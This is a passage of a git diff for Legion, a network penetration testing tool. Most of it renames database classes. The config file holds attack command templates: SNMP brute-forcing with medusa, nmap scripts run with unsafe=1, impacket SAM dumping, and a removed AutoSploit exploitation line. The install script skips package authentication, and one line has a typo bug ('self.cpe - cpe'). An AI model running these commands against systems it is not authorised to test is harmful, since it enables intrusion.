self.db.metadata.bind.execute(query, str(hostIP), str(port)).first() return results # used to delete all port/script data related to a host - to overwrite portscan info with the latest scan def deleteAllPortsAndScriptsForHostFromDB(self, hostID, protocol): session = self.db.session() - ports_for_host = session.query(nmap_port).filter(nmap_port.host_id == hostID).filter(nmap_port.protocol == str(protocol)).all() + ports_for_host = session.query(portObj).filter(portObj.host_id == hostID).filter(portObj.protocol == str(protocol)).all() for p in ports_for_host: - scripts_for_ports = session.query(nmap_script).filter(nmap_script.port_id == p.id).all() + scripts_for_ports = session.query(l1ScriptObj).filter(l1ScriptObj.port_id == p.id).all() for s in scripts_for_ports: session.delete(s) for p in ports_for_host: @@ -314,25 +314,25 @@ def deleteAllPortsAndScriptsForHostFromDB(self, hostID, protocol): def getHostInformation(self, hostIP): session = self.db.session() - results = session.query(nmap_host).filter_by(ip=str(hostIP)).first() + results = session.query(hostObj).filter_by(ip=str(hostIP)).first() return results def deleteHost(self, hostIP): session = self.db.session() - h = session.query(nmap_host).filter_by(ip=str(hostIP)).first() + h = session.query(hostObj).filter_by(ip=str(hostIP)).first() session.delete(h) session.commit() return def getPortStatesForHost(self, hostID): - query = ('SELECT port.state FROM nmap_port as port WHERE port.host_id=?') + query = ('SELECT port.state FROM portObj as port WHERE port.host_id = ?') results = self.db.metadata.bind.execute(query, str(hostID)).fetchall() return results def getHostsAndPortsForServiceFromDB(self, serviceName, filters): - query = ('SELECT hosts.ip,ports.port_id,ports.protocol,ports.state,ports.host_id,ports.service_id,services.name,services.product,services.version,services.extrainfo,services.fingerprint FROM nmap_port AS ports ' + - 'INNER JOIN nmap_host AS hosts ON hosts.id = ports.host_id ' + - 'LEFT OUTER JOIN nmap_service AS services ON services.id=ports.service_id ' + + query = ('SELECT hosts.ip,ports.port_id,ports.protocol,ports.state,ports.host_id,ports.service_id,services.name,services.product,services.version,services.extrainfo,services.fingerprint FROM portObj AS ports ' + + 'INNER JOIN hostObj AS hosts ON hosts.id = ports.host_id ' + + 'LEFT OUTER JOIN serviceObj AS services ON services.id=ports.service_id ' + 'WHERE services.name=?') if filters.down == False: @@ -404,7 +404,7 @@ def getPidForProcess(self, procid): def toggleHostCheckStatus(self, ipaddr): session = self.db.session() - h = session.query(nmap_host).filter_by(ip=ipaddr).first() + h = session.query(hostObj).filter_by(ip=ipaddr).first() if h: if h.checked == 'False': h.checked = 'True' @@ -671,10 +671,10 @@ def run(self): # it is nece createPortsProgress = 0 for h in parser.all_hosts(): # create all the hosts that need to be created - db_host = session.query(nmap_host).filter_by(ip=h.ip).first() + db_host = session.query(hostObj).filter_by(ip=h.ip).first() if not db_host: # if host doesn't exist in DB, create it first - hid = nmap_host(os_match='', os_accuracy='', ip=h.ip, ipv4=h.ipv4, ipv6=h.ipv6, macaddr=h.macaddr, status=h.status, hostname=h.hostname, vendor=h.vendor, uptime=h.uptime, lastboot=h.lastboot, distance=h.distance, state=h.state, count=h.count) + hid = hostObj(os_match='', os_accuracy='', ip=h.ip, ipv4=h.ipv4, ipv6=h.ipv6, macaddr=h.macaddr, status=h.status, hostname=h.hostname, vendor=h.vendor, uptime=h.uptime, lastboot=h.lastboot, distance=h.distance, state=h.state, count=h.count) self.tsLog("Adding db_host") session.add(hid) t_note = note(h.ip, 'Added by nmap') @@ -692,7 +692,7 @@ def run(self): # it is nece for h in parser.all_hosts(): # create all OS, service and port objects that need to be created self.tsLog("Processing h {ip}".format(ip=h.ip)) - db_host = session.query(nmap_host).filter_by(ip=h.ip).first() + db_host = session.query(hostObj).filter_by(ip=h.ip).first() if db_host: self.tsLog("Found db_host during os/ports/service processing") else: @@ -702,11 +702,11 @@ def run(self): # it is nece self.tsLog(" 'os_nodes' to process: {os_nodes}".format(os_nodes=str(len(os_nodes)))) for os in os_nodes: self.tsLog(" Processing os obj {os}".format(os=str(os.name))) - db_os = session.query(nmap_os).filter_by(host_id=db_host.id).filter_by(name=os.name).filter_by(family=os.family).filter_by(generation=os.generation).filter_by(os_type=os.os_type).filter_by(vendor=os.vendor).first() + db_os = session.query(osObj).filter_by(host_id=db_host.id).filter_by(name=os.name).filter_by(family=os.family).filter_by(generation=os.generation).filter_by(os_type=os.os_type).filter_by(vendor=os.vendor).first() if not db_os: - t_nmap_os = nmap_os(os.name, os.family, os.generation, os.os_type, os.vendor, os.accuracy, db_host.id) - session.add(t_nmap_os) + t_osObj = osObj(os.name, os.family, os.generation, os.os_type, os.vendor, os.accuracy, db_host.id) + session.add(t_osObj) createOsNodesProgress = createOsNodesProgress + ((100.0 / hostCount) / 5) totalprogress = totalprogress + createOsNodesProgress @@ -723,11 +723,11 @@ def run(self): # it is nece if not (s is None): # check if service already exists to avoid adding duplicates #print(" Found service {service} for port {port}".format(service=str(s.name),port=str(p.portId))) - #db_service = session.query(nmap_service).filter_by(name=s.name).filter_by(product=s.product).filter_by(version=s.version).filter_by(extrainfo=s.extrainfo).filter_by(fingerprint=s.fingerprint).first() - db_service = session.query(nmap_service).filter_by(name=s.name).first() + #db_service = session.query(serviceObj).filter_by(name=s.name).filter_by(product=s.product).filter_by(version=s.version).filter_by(extrainfo=s.extrainfo).filter_by(fingerprint=s.fingerprint).first() + db_service = session.query(serviceObj).filter_by(name=s.name).first() if not db_service: #print("Did not find service *********** name={0} prod={1} ver={2} extra={3} fing={4}".format(s.name, s.product, s.version, s.extrainfo, s.fingerprint)) - db_service = nmap_service(s.name, s.product, s.version, s.extrainfo, s.fingerprint) + db_service = serviceObj(s.name, s.product, s.version, s.extrainfo, s.fingerprint) session.add(db_service) # else: #print("FOUND service *************** name={0}".format(db_service.name)) @@ -735,14 +735,14 @@ def run(self): # it is nece else: # else, there is no service info to parse db_service = None # fetch the port - db_port = session.query(nmap_port).filter_by(host_id=db_host.id).filter_by(port_id=p.portId).filter_by(protocol=p.protocol).first() + db_port = session.query(portObj).filter_by(host_id=db_host.id).filter_by(port_id=p.portId).filter_by(protocol=p.protocol).first() if not db_port: #print("Did not find port *********** portid={0} proto={1}".format(p.portId, p.protocol)) if db_service: - db_port = nmap_port(p.portId, p.protocol, p.state, db_host.id, db_service.id) + db_port = portObj(p.portId, p.protocol, p.state, db_host.id, db_service.id) else: - db_port = nmap_port(p.portId, p.protocol, p.state, db_host.id, '') + db_port = portObj(p.portId, p.protocol, p.state, db_host.id, '') session.add(db_port) #else: #print('FOUND port *************** portid={0}'.format(db_port.port_id)) @@ -758,34 +758,35 @@ def run(self): # it is nece for h in parser.all_hosts(): # create all script objects that need to be created - db_host = session.query(nmap_host).filter_by(ip=h.ip).first() + db_host = session.query(hostObj).filter_by(ip=h.ip).first() for p in h.all_ports(): for scr in p.get_scripts(): self.tsLog(" Processing script obj {scr}".format(scr=str(scr))) - db_port = session.query(nmap_port).filter_by(host_id=db_host.id).filter_by(port_id=p.portId).filter_by(protocol=p.protocol).first() - db_script = session.query(nmap_script).filter_by(script_id=scr.scriptId).filter_by(port_id=db_port.id).first() + print(" Processing script obj {scr}".format(scr=str(scr))) + db_port = session.query(portObj).filter_by(host_id=db_host.id).filter_by(port_id=p.portId).filter_by(protocol=p.protocol).first() + db_script = session.query(l1ScriptObj).filter_by(script_id=scr.scriptId).filter_by(port_id=db_port.id).first() cveResults = scr.get_cves() for cveEntry in cveResults: t_cve = cve(name = cveEntry.name, url = cveEntry.url, source = cveEntry.source, severity = cveEntry.severity, product = cveEntry.product, version = cveEntry.version, hostId = db_host.id) session.add(t_cve) if not db_script: # if this script object doesn't exist, create it - t_nmap_script = nmap_script(scr.scriptId, scr.output, db_port.id, db_host.id) - self.tsLog(" Adding nmap_script obj {script}".format(script=scr.scriptId)) - session.add(t_nmap_script) + t_l1ScriptObj = l1ScriptObj(scr.scriptId, scr.output, db_port.id, db_host.id) + self.tsLog(" Adding l1ScriptObj obj {script}".format(script=scr.scriptId)) + session.add(t_l1ScriptObj) for hs in h.get_hostscripts(): - db_script = session.query(nmap_script).filter_by(script_id=hs.scriptId).filter_by(host_id=db_host.id).first() + db_script = session.query(l1ScriptObj).filter_by(script_id=hs.scriptId).filter_by(host_id=db_host.id).first() if not db_script: - t_nmap_script = nmap_script(hs.scriptId, hs.output, None, db_host.id) - session.add(t_nmap_script) + t_l1ScriptObj = l1ScriptObj(hs.scriptId, hs.output, None, db_host.id) + session.add(t_l1ScriptObj) session.commit() for h in parser.all_hosts(): # update everything - db_host = session.query(nmap_host).filter_by(ip=h.ip).first() + db_host = session.query(hostObj).filter_by(ip=h.ip).first() if db_host.ipv4 == '' and not h.ipv4 == '': db_host.ipv4 = h.ipv4 @@ -817,7 +818,7 @@ def run(self): # it is nece os_nodes = h.get_OS() for os in os_nodes: - db_os = session.query(nmap_os).filter_by(host_id=db_host.id).filter_by(name=os.name).filter_by(family=os.family).filter_by(generation=os.generation).filter_by(os_type=os.os_type).filter_by(vendor=os.vendor).first() + db_os = session.query(osObj).filter_by(host_id=db_host.id).filter_by(name=os.name).filter_by(family=os.family).filter_by(generation=os.generation).filter_by(os_type=os.os_type).filter_by(vendor=os.vendor).first() db_os.os_accuracy = os.accuracy # update the accuracy @@ -837,12 +838,12 @@ def run(self): # it is nece for p in h.all_ports(): s = p.get_service() if not (s is None): - #db_service = session.query(nmap_service).filter_by(name=s.name).filter_by(product=s.product).filter_by(version=s.version).filter_by(extrainfo=s.extrainfo).filter_by(fingerprint=s.fingerprint).first() - db_service = session.query(nmap_service).filter_by(name=s.name).first() + #db_service = session.query(serviceObj).filter_by(name=s.name).filter_by(product=s.product).filter_by(version=s.version).filter_by(extrainfo=s.extrainfo).filter_by(fingerprint=s.fingerprint).first() + db_service = session.query(serviceObj).filter_by(name=s.name).first() else: db_service = None # fetch the port - db_port = session.query(nmap_port).filter_by(host_id=db_host.id).filter_by(port_id=p.portId).filter_by(protocol=p.protocol).first() + db_port = session.query(portObj).filter_by(host_id=db_host.id).filter_by(port_id=p.portId).filter_by(protocol=p.protocol).first() if db_port: #print("************************ Found {0}".format(db_port)) @@ -855,7 +856,7 @@ def run(self): # it is nece session.add(db_port) for scr in p.get_scripts(): # store the script results (note that existing script outputs are also kept) - db_script = session.query(nmap_script).filter_by(script_id=scr.scriptId).filter_by(port_id=db_port.id).first() + db_script = session.query(l1ScriptObj).filter_by(script_id=scr.scriptId).filter_by(port_id=db_port.id).first() if not scr.output == '' and scr.output is not None: db_script.output = scr.output diff --git a/app/processmodels.py b/app/processmodels.py index 63ef3637..9e86992a 100644 --- a/app/processmodels.py +++ b/app/processmodels.py @@ -134,7 +134,7 @@ def sort(self, Ncol, order): pass def flags(self, index): # method that allows views to know how to treat each item, eg: if it should be enabled, editable, selectable etc - return QtCore.Qt.ItemIsEnabled | QtCore.Qt.ItemIsSelectable + return QtCore.Qt.ItemIsEnabled | QtCore.Qt.ItemIsSelectable | QtCore.Qt.ItemIsEditable def setDataList(self, processes): self.__processes = processes diff --git a/app/servicemodels.py b/app/servicemodels.py index df7d66b7..5d9225d5 100644 --- a/app/servicemodels.py +++ b/app/servicemodels.py @@ -93,7 +93,7 @@ def data(self, index, role): # this metho return value def flags(self, index): # method that allows views to know how to treat each item, eg: if it should be enabled, editable, selectable etc - return QtCore.Qt.ItemIsEnabled | QtCore.Qt.ItemIsSelectable + return QtCore.Qt.ItemIsEnabled | QtCore.Qt.ItemIsSelectable | QtCore.Qt.ItemIsEditable def sort(self, Ncol, order): # sort function called when the user clicks on a header self.layoutAboutToBeChanged.emit() @@ -195,7 +195,7 @@ def data(self, index, role): # This metho return self.__serviceNames[row]['name'] def flags(self, index): # method that allows views to know how to treat each item, eg: if it should be enabled, editable, selectable etc - return QtCore.Qt.ItemIsEnabled | QtCore.Qt.ItemIsSelectable + return QtCore.Qt.ItemIsEnabled | QtCore.Qt.ItemIsSelectable | QtCore.Qt.ItemIsEditable def sort(self, Ncol, order): # sort function called when the user clicks on a header diff --git a/app/settings.py b/app/settings.py index dafdff9a..2bb98378 100644 --- a/app/settings.py +++ b/app/settings.py @@ -165,7 +165,6 @@ def backupAndSave(self, newSettings, saveBackup = True): self.actions.setValue('hydra-path', newSettings.tools_path_hydra) self.actions.setValue('cutycapt-path', newSettings.tools_path_cutycapt) self.actions.setValue('texteditor-path', newSettings.tools_path_texteditor) - self.actions.setValue('python-path', newSettings.tools_path_python) self.actions.endGroup() self.actions.beginGroup('StagedNmapSettings') @@ -239,7 +238,6 @@ def __init__(self, appSettings=None): self.tools_path_hydra = "/usr/bin/hydra" self.tools_path_cutycapt = "/usr/bin/cutycapt" self.tools_path_texteditor = "/usr/bin/leafpad" - self.tools_path_python = os.environ["PYTHON3BIN"] # GUI settings self.gui_process_tab_column_widths = "125,0,100,150,100,100,100,100,100,100,100,100,100,100,100,100,100" @@ -296,7 +294,6 @@ def __init__(self, appSettings=None): self.tools_path_hydra = self.toolSettings['hydra-path'] self.tools_path_cutycapt = self.toolSettings['cutycapt-path'] self.tools_path_texteditor = self.toolSettings['texteditor-path'] - self.tools_path_python = self.toolSettings['python-path'] # gui self.gui_process_tab_column_widths = self.guiSettings['process-tab-column-widths'] diff --git a/controller/controller.py b/controller/controller.py index 4b57d4c5..f1de0925 100644 --- a/controller/controller.py +++ b/controller/controller.py @@ -28,13 +28,13 @@ class Controller(): def __init__(self, view, logic): self.name = "LEGION" self.version = '0.3.4' - self.build = '1555077770' + self.build = '1556736984' self.author = 'GoVanguard' self.copyright = '2019' self.links = ['http://github.com/GoVanguard/legion/issues', 'https://GoVanguard.io/legion'] self.emails = [] - self.update = '04/12/2019' + self.update = '05/01/2019' self.license = "GPL v3" self.desc = "Legion is a fork of SECFORCE's Sparta, Legion is an open source, easy-to-use, \nsuper-extensible and semi-automated network penetration testing tool that aids in discovery, \nreconnaissance and exploitation of information systems." diff --git a/db/database.py b/db/database.py index 82a051dd..8db4c2c3 100644 --- a/db/database.py +++ b/db/database.py @@ -90,8 +90,8 @@ def __init__(self, filename, *args, **kwargs): self.down_hosts = kwargs.get('down_hosts') or '0' -class nmap_os(Base): - __tablename__ = 'nmap_os' +class osObj(Base): + __tablename__ = 'osObj' id = Column(Integer, primary_key = True) name = Column(String) family = Column(String) @@ -99,7 +99,7 @@ class nmap_os(Base): os_type = Column(String) vendor = Column(String) accuracy = Column(String) - host_id = Column(String, ForeignKey('nmap_host.id')) + host_id = Column(String, ForeignKey('hostObj.id')) def __init__(self, name, *args): self.name = name @@ -110,15 +110,15 @@ def __init__(self, name, *args): self.accuracy = args[4] self.host_id = args[5] -class nmap_port(Base): - __tablename__ = 'nmap_port' +class portObj(Base): + __tablename__ = 'portObj' port_id = Column(String) id = Column(Integer, primary_key = True) protocol = Column(String) state = Column(String) - host_id = Column(String, ForeignKey('nmap_host.id')) - service_id = Column(String, ForeignKey('nmap_service.id')) - script_id = Column(String, ForeignKey('nmap_script.id')) + host_id = Column(String, ForeignKey('hostObj.id')) + service_id = Column(String, ForeignKey('serviceObj.id')) + script_id = Column(String, ForeignKey('l1ScriptObj.id')) def __init__(self, port_id, protocol, state, host, service = ''): self.port_id = port_id @@ -136,8 +136,8 @@ class cve(Base): severity = Column(String) source = Column(String) version = Column(String) - service_id = Column(String, ForeignKey('nmap_service.id')) - host_id = Column(String, ForeignKey('nmap_host.id')) + service_id = Column(String, ForeignKey('serviceObj.id')) + host_id = Column(String, ForeignKey('hostObj.id')) def __init__(self, name, url, product, hostId, severity = '', source = '', version = ''): self.url = url @@ -148,15 +148,15 @@ def __init__(self, name, url, product, hostId, severity = '', source = '', versi self.version = version self.host_id = hostId -class nmap_service(Base): - __tablename__ = 'nmap_service' +class serviceObj(Base): + __tablename__ = 'serviceObj' name = Column(String) id = Column(Integer, primary_key = True) product = Column(String) version = Column(String) extrainfo = Column(String) fingerprint = Column(String) - port = relationship(nmap_port) + port = relationship(portObj) cves = relationship(cve) def __init__(self, name = '', product = '', version = '', extrainfo = '', fingerprint = ''): @@ -166,13 +166,13 @@ def __init__(self, name = '', product = '', version = '', extrainfo = '', finger self.extrainfo = extrainfo self.fingerprint = fingerprint -class nmap_script(Base): - __tablename__ = 'nmap_script' +class l1ScriptObj(Base): + __tablename__ = 'l1ScriptObj' script_id = Column(String) id = Column(Integer, primary_key = True) output = Column(String) - port_id = Column(String, ForeignKey('nmap_port.id')) - host_id = Column(String, ForeignKey('nmap_host.id')) + port_id = Column(String, ForeignKey('portObj.id')) + host_id = Column(String, ForeignKey('hostObj.id')) def __init__(self, script_id, output, portId, hostId): self.script_id = script_id @@ -180,8 +180,41 @@ def __init__(self, script_id, output, portId, hostId): self.port_id = portId self.host_id = hostId -class nmap_host(Base): - __tablename__ = 'nmap_host' +class l2ScriptObj(Base): + __tablename__ = 'l2ScriptObj' + script_id = Column(String) + id = Column(Integer, primary_key = True) + output = Column(String) + port_id = Column(String, ForeignKey('portObj.id')) + host_id = Column(String, ForeignKey('hostObj.id')) + + def __init__(self, script_id, output, portId, hostId): + self.script_id = script_id + self.output = unicode(output) + self.port_id = portId + self.host_id = hostId + +class appObj(Base): + __tablename__ = 'appObj' + name = Column(String) + id = Column(Integer, primary_key = True) + product = Column(String) + version = Column(String) + extrainfo = Column(String) + fingerprint = Column(String) + cpe = Column(String) + service = relationship(serviceObj) + + def __init__(self, name = '', product = '', version = '', extrainfo = '', fingerprint = '', cpe = ''): + self.name = name + self.product = product + self.version = version + self.extrainfo = extrainfo + self.fingerprint = fingerprint + self.cpe - cpe + +class hostObj(Base): + __tablename__ = 'hostObj' checked = Column(String) os_match = Column(String) os_accuracy = Column(String) @@ -201,8 +234,8 @@ class nmap_host(Base): count = Column(String) # host relationships - os = relationship(nmap_os) - ports = relationship(nmap_port) + os = relationship(osObj) + ports = relationship(portObj) cves = relationship(cve) def __init__(self, **kwargs): @@ -226,7 +259,7 @@ def __init__(self, **kwargs): class note(Base): __tablename__ = 'note' - host_id = Column(Integer, ForeignKey('nmap_host.id')) + host_id = Column(Integer, ForeignKey('hostObj.id')) id = Column(Integer, primary_key = True) text = Column(String) diff --git a/deps/detectPython.sh b/deps/detectPython.sh index f3e3714b..ff559847 100644 --- a/deps/detectPython.sh +++ b/deps/detectPython.sh @@ -241,6 +241,5 @@ fi echo "Python 3 bin is ${pythonBin} ($(which ${pythonBin}))" echo "Pip 3 bin is ${pipBin} ($(which ${pipBin}))" -PYTHON3BIN=${pythonBin} -export PYTHON3BIN +export PYTHON3BIN=$(which ${pythonBin}) export PIP3BIN=$(which ${pipBin}) diff --git a/deps/detectScripts.sh b/deps/detectScripts.sh index 209449f0..8eb55424 100644 --- a/deps/detectScripts.sh +++ b/deps/detectScripts.sh @@ -66,18 +66,16 @@ else git clone https://github.com/m0rtem/CloudFail.git scripts/CloudFail fi -if [ -a scripts/AutoSploit/autosploit.py ] +if [ -a scripts/exploutdb/searchsploit ] then - echo "AutoSploit is already installed" + echo "Exploit-db has been found" else - git clone https://github.com/NullArray/AutoSploit.git scripts/AutoSploit + git clone https://github.com/offensive-security/exploitdb.git scripts/exploitdb fi -if [ -d "scripts/wpscan" ] +if [ ! -f ".initialized" ] then - echo "wpscan is already installed" -else - git clone https://github.com/wpscanteam/wpscan.git scripts/wpscan + scripts/installDeps.sh fi if [ ! -f ".initialized" ] diff --git a/deps/installDeps.sh b/deps/installDeps.sh index b0214051..dc9cfcc5 100644 --- a/deps/installDeps.sh +++ b/deps/installDeps.sh @@ -9,4 +9,4 @@ source ./deps/apt.sh apt-get update -m echo "Installing deps..." -DEBIAN_FRONTEND="noninteractive" apt-get -yqqq --allow-unauthenticated --force-yes -o DPkg::Options::="--force-overwrite" -o DPkg::Options::="--force-confdef" install nmap finger hydra nikto whatweb nbtscan nfs-common rpcbind smbclient sra-toolkit ldap-utils sslscan rwho medusa x11-apps cutycapt leafpad xvfb imagemagick eog hping3 sqlmap wapiti libqt5core5a python-pip python-impacket ruby perl urlscan dnsmap wafw00f git +DEBIAN_FRONTEND="noninteractive" apt-get -yqqq --allow-unauthenticated --force-yes -o DPkg::Options::="--force-overwrite" -o DPkg::Options::="--force-confdef" install nmap finger hydra nikto whatweb nbtscan nfs-common rpcbind smbclient sra-toolkit ldap-utils sslscan rwho medusa x11-apps cutycapt leafpad xvfb imagemagick eog hping3 sqlmap wapiti libqt5core5a python-pip python-impacket ruby perl dnsmap urlscan git diff --git a/legion.conf b/legion.conf index af4417da..25879639 100644 --- a/legion.conf +++ b/legion.conf @@ -9,7 +9,7 @@ store-cleartext-passwords-on-exit=True username-wordlist-path=/usr/share/wordlists/ [GUISettings] -process-tab-column-widths="125,0,74,92,67,0,124,130,0,0,0,0,0,0,0,554,100" +process-tab-column-widths="125,0,74,92,67,0,124,130,0,0,0,0,0,0,0,544,100" process-tab-detail=False [GeneralSettings] @@ -41,10 +41,7 @@ citrix-enum-apps-xml.nse=citrix-enum-apps-xml.nse, "nmap -Pn [IP] -p [PORT] --sc citrix-enum-apps.nse=citrix-enum-apps.nse, "nmap -Pn [IP] -p [PORT] --script=citrix-enum-apps.nse --script-args=unsafe=1", citrix citrix-enum-servers-xml.nse=citrix-enum-servers-xml.nse, "nmap -Pn [IP] -p [PORT] --script=citrix-enum-servers-xml.nse --script-args=unsafe=1", citrix citrix-enum-servers.nse=citrix-enum-servers.nse, "nmap -Pn [IP] -p [PORT] --script=citrix-enum-servers.nse --script-args=unsafe=1", citrix -cloudfail=Run cloudfail, python3 scripts/CloudFail/cloudfail.py --target [IP] --tor, cloudfail -wpscan=Run wpscan, ruby scripts/wpscan/bin/wpscan -v --url [IP]:[PORT], wpscan -wafw00f=Run wafw00f, wafw00f [IP], wafw00f -autosploit=Run autosploit, cd scripts/AutoSploit/ && python autosploit.py -e -C default [IP] [PORT], autosploit +cloudfail=Run cloudfail, python3.7 scripts/CloudFail/cloudfail.py --target [IP] --tor, cloudfail dirbuster=Launch dirbuster, java -Xmx256M -jar /usr/share/dirbuster/DirBuster-1.0-RC1.jar -u http://[IP]:[PORT]/, "http,https,ssl,soap,http-proxy,http-alt" dnsmap=Run dnsmap, dnsmap [IP] -w ./wordlists/gvit_subdomain_wordlist.txt -r [OUTPUT], dnsmap enum4linux=Run enum4linux, enum4linux [IP], "netbios-ssn,microsoft-ds" @@ -215,7 +212,7 @@ riak-http-info.nse=riak-http-info.nse, "nmap -Pn [IP] -p [PORT] --script=riak-ht rpcinfo=Run rpcinfo, rpcinfo -p [IP], rpcbind rwho=Run rwho, rwho -a [IP], who samba-vuln-cve-2012-1182.nse=samba-vuln-cve-2012-1182.nse, "nmap -Pn [IP] -p [PORT] --script=samba-vuln-cve-2012-1182.nse --script-args=unsafe=1", samba -samrdump=Run samrdump, python3 /usr/share/doc/python-impacket-doc/examples/samrdump.py [IP] [PORT]/SMB, "netbios-ssn,microsoft-ds" +samrdump=Run samrdump, python /usr/share/doc/python-impacket-doc/examples/samrdump.py [IP] [PORT]/SMB, "netbios-ssn,microsoft-ds" showmount=Show nfs shares, showmount -e [IP], nfs smb-brute.nse=smb-brute.nse, "nmap -Pn [IP] -p [PORT] --script=smb-brute.nse --script-args=unsafe=1", smb smb-check-vulns.nse=smb-check-vulns.nse, "nmap -Pn [IP] -p [PORT] --script=smb-check-vulns.nse --script-args=unsafe=1", smb @@ -259,7 +256,7 @@ smtp-vuln-cve2011-1720.nse=smtp-vuln-cve2011-1720.nse, "nmap -Pn [IP] -p [PORT] smtp-vuln-cve2011-1764.nse=smtp-vuln-cve2011-1764.nse, "nmap -Pn [IP] -p [PORT] --script=smtp-vuln-cve2011-1764.nse --script-args=unsafe=1", smtp snmp-brute=Bruteforce community strings (medusa), bash -c \"medusa -h [IP] -u root -P ./wordlists/snmp-default.txt -M snmp | grep SUCCESS\", "snmp,snmptrap" snmp-brute.nse=snmp-brute.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-brute.nse --script-args=unsafe=1", snmp -snmp-default=Check for default community strings, python3 ./scripts/snmpbrute.py -t [IP] -p [PORT] -f ./wordlists/snmp-default.txt -b --no-colours, "snmp,snmptrap" +snmp-default=Check for default community strings, python ./scripts/snmpbrute.py -t [IP] -p [PORT] -f ./wordlists/snmp-default.txt -b --no-colours, "snmp,snmptrap" snmp-hh3c-logins.nse=snmp-hh3c-logins.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-hh3c-logins.nse --script-args=unsafe=1", snmp snmp-interfaces.nse=snmp-interfaces.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-interfaces.nse --script-args=unsafe=1", snmp snmp-ios-config.nse=snmp-ios-config.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-ios-config.nse --script-args=unsafe=1", snmp @@ -279,16 +276,11 @@ vnc-info.nse=vnc-info.nse, "nmap -Pn [IP] -p [PORT] --script=vnc-info.nse --scri webslayer=Launch webslayer, webslayer, "http,https,ssl,soap,http-proxy,http-alt" whatweb=Run whatweb, "whatweb [IP]:[PORT] --color=never --log-brief=[OUTPUT].txt", "http,https,ssl,soap,http-proxy,http-alt" x11screen=Run x11screenshot, bash ./scripts/x11screenshot.sh [IP] 0 [OUTPUT], X11 -dnsmap=Run dnsmap, "dnsmap [IP] -w ./wordlists/gvit_subdomain_wordlist.txt -r [OUTPUT]", dnsmap -cloudfail=Run cloudfail, "python3 scripts/CloudFail/cloudfail.py --target [IP] --tor", cloudfail -wpscan=Run wpscan, "ruby scripts/wpscan/bin/wpscan -v --url [IP]:[PORT]", wpscan -wafw00f=Run wafw00f, "wafw00f [IP]", wafw00f -autosploit=Run autosploit, "cd scripts/AutoSploit/ && python autosploit.py -e -C default [IP] [PORT]", autosploit [PortTerminalActions] firefox=Open with firefox, firefox [IP]:[PORT], ftp=Open with ftp client, ftp [IP] [PORT], ftp -mssql=Open with mssql client (as sa), python3 /usr/share/doc/python-impacket-doc/examples/mssqlclient.py -p [PORT] sa@[IP], "mys-sql-s,codasrv-se" +mssql=Open with mssql client (as sa), python /usr/share/doc/python-impacket-doc/examples/mssqlclient.py -p [PORT] sa@[IP], "mys-sql-s,codasrv-se" mysql=Open with mysql client (as root), "mysql -u root -h [IP] --port=[PORT] -p", mysql netcat=Open with netcat, nc -v [IP] [PORT], psql=Open with postgres client (as postgres), psql -h [IP] -p [PORT] -U postgres, postgres @@ -326,4 +318,3 @@ cutycapt-path=/usr/bin/cutycapt hydra-path=/usr/bin/hydra nmap-path=/usr/bin/nmap texteditor-path=/usr/bin/leafpad -python-path=/usr/bin/python3 diff --git a/precommit.sh b/precommit.sh index 8dfd55fa..e39c694d 100644 --- a/precommit.sh +++ b/precommit.sh @@ -20,3 +20,9 @@ rm -Rf ./tmp/* # Clear all pyc and pyc find . -name \*.pyc -delete find . -name \*.pyo -delete + +# Remove cloned scripts +rm -Rf ./scripts/CloudFail/ + +# Removed backups +rm -Rf ./backups/* diff --git a/ui/view.py b/ui/view.py index ff6c4783..eb9bb44d 100644 --- a/ui/view.py +++ b/ui/view.py @@ -32,6 +32,7 @@ from app.auxiliary import * import time #temp from six import u as unicode +import pandas as pd # this class handles everything gui-related class View(QtCore.QObject): @@ -505,6 +506,7 @@ def connectHostTableClick(self): def hostTableClick(self): if self.ui.HostsTableView.selectionModel().selectedRows(): # get the IP address of the selected host (if any) row = self.ui.HostsTableView.selectionModel().selectedRows()[len(self.ui.HostsTableView.selectionModel().selectedRows())-1].row() + print(row) ip = self.HostsTableModel.getHostIPForRow(row) self.ip_clicked = ip save = self.ui.ServicesTabWidget.currentIndex() @@ -524,6 +526,7 @@ def connectServiceNamesTableClick(self): def serviceNamesTableClick(self): if self.ui.ServiceNamesTableView.selectionModel().selectedRows(): row = self.ui.ServiceNamesTableView.selectionModel().selectedRows()[len(self.ui.ServiceNamesTableView.selectionModel().selectedRows())-1].row() + print(row) self.service_clicked = self.ServiceNamesTableModel.getServiceNameForRow(row) self.updatePortsByServiceTableView(self.service_clicked) @@ -535,6 +538,7 @@ def connectToolsTableClick(self): def toolsTableClick(self): if self.ui.ToolsTableView.selectionModel().selectedRows(): row = self.ui.ToolsTableView.selectionModel().selectedRows()[len(self.ui.ToolsTableView.selectionModel().selectedRows())-1].row() + print(row) self.tool_clicked = self.ToolsTableModel.getToolNameForRow(row) self.updateToolHostsTableView(self.tool_clicked) self.displayScreenshots(self.tool_clicked == 'screenshooter') # if we clicked on the screenshooter we need to display the screenshot widget @@ -553,6 +557,7 @@ def connectScriptTableClick(self): def scriptTableClick(self): if self.ui.ScriptsTableView.selectionModel().selectedRows(): row = self.ui.ScriptsTableView.selectionModel().selectedRows()[len(self.ui.ScriptsTableView.selectionModel().selectedRows())-1].row() + print(row) self.script_clicked = self.ScriptsTableModel.getScriptDBIdForRow(row) self.updateScriptsOutputView(self.script_clicked) @@ -565,6 +570,7 @@ def connectToolHostsClick(self): def toolHostsClick(self): if self.ui.ToolHostsTableView.selectionModel().selectedRows(): row = self.ui.ToolHostsTableView.selectionModel().selectedRows()[len(self.ui.ToolHostsTableView.selectionModel().selectedRows())-1].row() + print(row) self.tool_host_clicked = self.ToolHostsTableModel.getProcessIdForRow(row) ip = self.ToolHostsTableModel.getIpForRow(row) @@ -614,17 +620,47 @@ def updateFilterKeywords(self): def connectTableDoubleClick(self): self.ui.ServicesTableView.doubleClicked.connect(self.tableDoubleClick) self.ui.ToolHostsTableView.doubleClicked.connect(self.tableDoubleClick) + self.ui.CvesTableView.doubleClicked.connect(self.rightTableDoubleClick) + + def rightTableDoubleClick(self, signal): + row = signal.row() # RETRIEVES ROW OF CELL THAT WAS DOUBLE CLICKED + column = signal.column() # RETRIEVES COLUMN OF CELL THAT WAS DOUBLE CLICKED + model = self.CvesTableModel + cell_dict = model.itemData(signal) # RETURNS DICT VALUE OF SIGNAL + cell_value = cell_dict.get(0) # RETRIEVE VALUE FROM DICT + + index = signal.sibling(row, 0) + index_dict = model.itemData(index) + index_value = index_dict.get(0) + print( + 'Row {}, Column {} clicked - value: 